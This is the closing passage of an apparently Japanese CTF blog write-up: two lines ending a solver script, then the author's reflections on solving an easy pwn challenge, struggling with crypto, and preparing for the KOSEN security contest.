  project.terminate_execution()

project.execute()

解けた!ってなったけど、もう解かれてたんだよなぁw

 

感想

今回は簡単pwnを解くことができて嬉しかったです。cryptoは全く分からなかった。speedrunはwriteupを見て全部解けるようにしたいです。

今週末はいよいよKOSENセキュコンなので、いい成績が残せるように頑張りたいですね。